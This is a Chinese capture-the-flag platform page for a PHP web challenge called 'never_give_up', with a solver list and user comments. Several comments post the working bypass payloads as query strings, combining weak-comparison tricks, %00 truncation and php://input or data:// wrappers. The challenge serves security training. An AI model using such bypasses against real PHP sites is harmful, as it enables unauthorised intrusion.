never_give_upWEB 未解决

分数: 25 金币: 3
题目作者: 未知
一　　血: blue
一血奖励: 1金币
解　　决: 3428
提　　示:
描　　述:
作者：御结冰城
...
登录回复
评论
不懂就问 2月前
举报

参考学习：https://blog.csdn.net/qq_36292543/article/details/136676985

回复 0
一路奔腾 4月前
举报

POST /hello.php?id=0a&a=php://input&b=*asdfassdf 内容为：bugku is a nice plateform!

回复 0
xawm 5月前
举报

?id=0p&b=%00114514&a=data://text/plain,bugku is a nice plateform! //id弱匹配绕过，b使用%00截断符截断语句让111在1114中且开头的字符不是4,a运用伪协议

回复 0
miaolegecui 5月前
举报

firfox浏览器的post不能只传值，所以用php://post的方式传值点execute没反应，试试用其他方式a=data://text/plain,bugku is a nice plateform!

回复 1
1.23 6月前
举报

flag{我就知道有人投机取巧}

回复 1
GET-lee 9月前
举报

对于小白来说确实是个好题

回复 1
冯飞99 9月前
举报

总结一下吧，查到源码后得到url 解码后得到base64，解码后得到url，解码后出现php源代码，查看源代码检查好规则，构建payload，bp抓包，发送给重发器，查看结果。

回复 1
2089669143 10月前
举报

为什么我登陆到1p.html以后它直接跳转到https://www.bugku.com/，求救救我

回复 0
MiracleWolf 9月前
举报

在跳转网页时进行bp抓包，在返回包中能看到网站后面藏了东西，然后解码。

回复 0
莴笋要种泥里 9月前
举报

我也是，什么原因

回复 0
evens 10月前
举报

?id=0a&b=*111111&a=data://text/plain;base64,YnVna3UgaXMgYSBuaWNlIHBsYXRlZm9ybSE=

回复 0
wxy1343 11月前
举报

http://114.67.175.224:14407/hello.php?id=a&a=data:,bugku is a nice plateform!&b=%0011111

回复 0

WriteUp

image
harry

3 金币

立即查看

评分(19)

解题动态

2324291123 攻破了该题 19小时前
yitiaoxanyu123 攻破了该题 23小时前
player33 攻破了该题 2天前
2029306069 攻破了该题 3天前
lilac 攻破了该题 3天前
风临渊 攻破了该题 4天前
YJ_hat 攻破了该题 4天前
cbojue 攻破了该题 4天前
xiuliyeer1 攻破了该题 4天前
17866543127 攻破了该题 5天前
LUCKY721 攻破了该题 5天前
星落 攻破了该题 7天前
3599348780 攻破了该题 9天前
Sinon 攻破了该题 9天前
wzh98 攻破了该题 9天前
suny 攻破了该题 9天前
jask 攻破了该题 10天前
ayuan123 攻破了该题 12天前
lotuswhite 攻破了该题 13天前
202257 攻破了该题 13天前